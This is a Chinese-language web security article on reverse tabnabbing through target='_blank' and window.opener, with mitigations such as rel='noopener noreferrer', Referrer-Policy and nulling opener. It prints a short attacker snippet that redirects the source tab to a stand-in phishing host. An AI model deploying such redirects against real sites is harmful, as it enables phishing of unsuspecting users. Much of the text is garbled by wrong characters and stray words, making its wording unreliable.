在网页中使用连接时,若是想要让浏览器自动在新的标签页打开指定的地址,一般的作法就是在a
标签上添加target等于"_blank"
属性。
然而,就是这个属性,为钓鱼攻击者带来了可乘之机。
parent
与 opener
在说 opener
以前,能够先聊聊 <iframe>
中的 parent
。javascript
咱们知道,在 <iframe>
中提供了一个用于父子页面交互的对象,叫作 window.parent
,咱们能够经过 window.parent
对象来从框架中的页面访问父级页面的 window
。html
opener
与 parent
同样,只不过是用于 <a target="_blank">
在新标签页打开的页面的。经过 <a target="_blank">
打开的页面,能够直接使用 window.opener
来访问来源页面的 window
对象。前端
浏览器提供了完整的跨域保护,在域名相同时,parent
对象和 opener
对象实际上就直接是上一级的 window
对象;而当域名不一样时,parent
和 opener
则是通过包装的一个 global
对象。这个 global
对象仅提供很是有限的属性访问,而且在这仅有的几个属性中,大部分也都是不容许访问的(访问会直接抛出 DOMException
)。java
在 <iframe>
中,提供了一个 sandbox
属性用于控制框架中的页面的权限,所以即便是同域,也能够控制 <iframe>
的安全性。后端
若是,你的网站上有一个连接,使用了 target="_blank"
,那么一旦用户点击这个连接并进入一个新的标签,新标签中的页面若是存在恶意代码,就能够将你的网站直接导航到一个虚假网站。此时,若是用户回到你的标签页,看到的就是被替换过的页面了。跨域
在你的网站 https://example.com
上存在一个连接:浏览器
<a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a>
用户点击了这个连接,在新的标签页打开了这个网站。这个网站能够经过 HTTP Header 中的 Referer
属性来判断用户的来源。安全
而且,这个网站上包含着相似于这样的 JavaScript 代码:微信
const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url);
https://a.fake.site/?https%3A%2F%2Fexample.com%2F
。https://a.fake.site
根据 Query String 来伪造一个足以欺骗用户的页面,并展现出来(期间还能够作一次跳转,使得浏览器的地址栏更具备迷惑性)。https://an.evil.site
的标签页,回到原来的网站………………已经回不去了。上面的攻击步骤是在跨域的状况下的,在跨域状况下,opener
对象和parent
同样,是受到限制的,仅提供很是有限的属性访问,而且在这仅有的几个属性中,大部分也都是不容许访问的(访问会直接抛出DOMException
)。可是与
parent
不一样的是,在跨域的状况下,opener
仍然能够调用location.replace
方法而parent
则不能够。框架若是是在同域的状况下(好比一个网站上的某一个页面被植入了恶意代码),则状况要比上面严重得多。
<iframe>
中有 sandbox
属性,而连接,则可使用下面的办法:
上面的攻击步骤中,用到了 HTTP Header 中的 Referer
属性,实际上能够在 HTTP 的响应头中增长 Referrer Policy
头来保证来源隐私安全。
Referrer Policy
须要修改后端代码来实现,而在前端,也可使用 <a>
标签的 rel
属性来指定 rel="noreferrer"
来保证来源隐私安全。
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
可是要注意的是:即便限制了
referer
的传递,仍然不能阻止原标签被恶意跳转。
为了安全,现代浏览器都支持在 <a>
标签的 rel
属性中指定 rel="noopener"
,这样,在打开的新标签页中,将没法再使用 opener
对象了,它为设置为了 null
。
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>
noopener
属性看似是解决了全部问题,可是...浏览器的兼容性问题...
能够看到,如今绝大多数浏览器都已经兼容了 rel="noopener"
属性了。可是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener
属性仍是远远不够的。
这时,就只能请出下面这段原生 JavaScript 来帮忙了。
"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }
首先,在网站中的连接上,若是使用了 target="_blank"
,就要带上 rel="noopener"
,而且建议带上 rel="noreferrer"
。相似于这样:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>
固然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow"
,因此最终相似于这样:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>
最后,再来讲说性能问题。
若是网站使用了 <a target="_blank">
,那么新打开的标签页的性能将会影响到当前页面。此时若是新打开的页面中执行了一个很是庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(固然不至于卡死)。
而若是在连接中加入了 noopener
,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。
文 / jinliming2
一条对新鲜事物充满了好奇心的咸鱼编 / 荧声
本文已由做者受权发布,版权属于创宇前端。欢迎注明出处转载本文。本文连接:https://knownsec-fed.com/2018...
想要订阅更多来自知道创宇开发一线的分享,请搜索关注咱们的微信公众号:创宇前端(KnownsecFED)。欢迎留言讨论,咱们会尽量回复。
欢迎点赞、收藏、留言评论、转发分享和打赏支持咱们。打赏将被彻底转交给文章做者。
感谢您的阅读。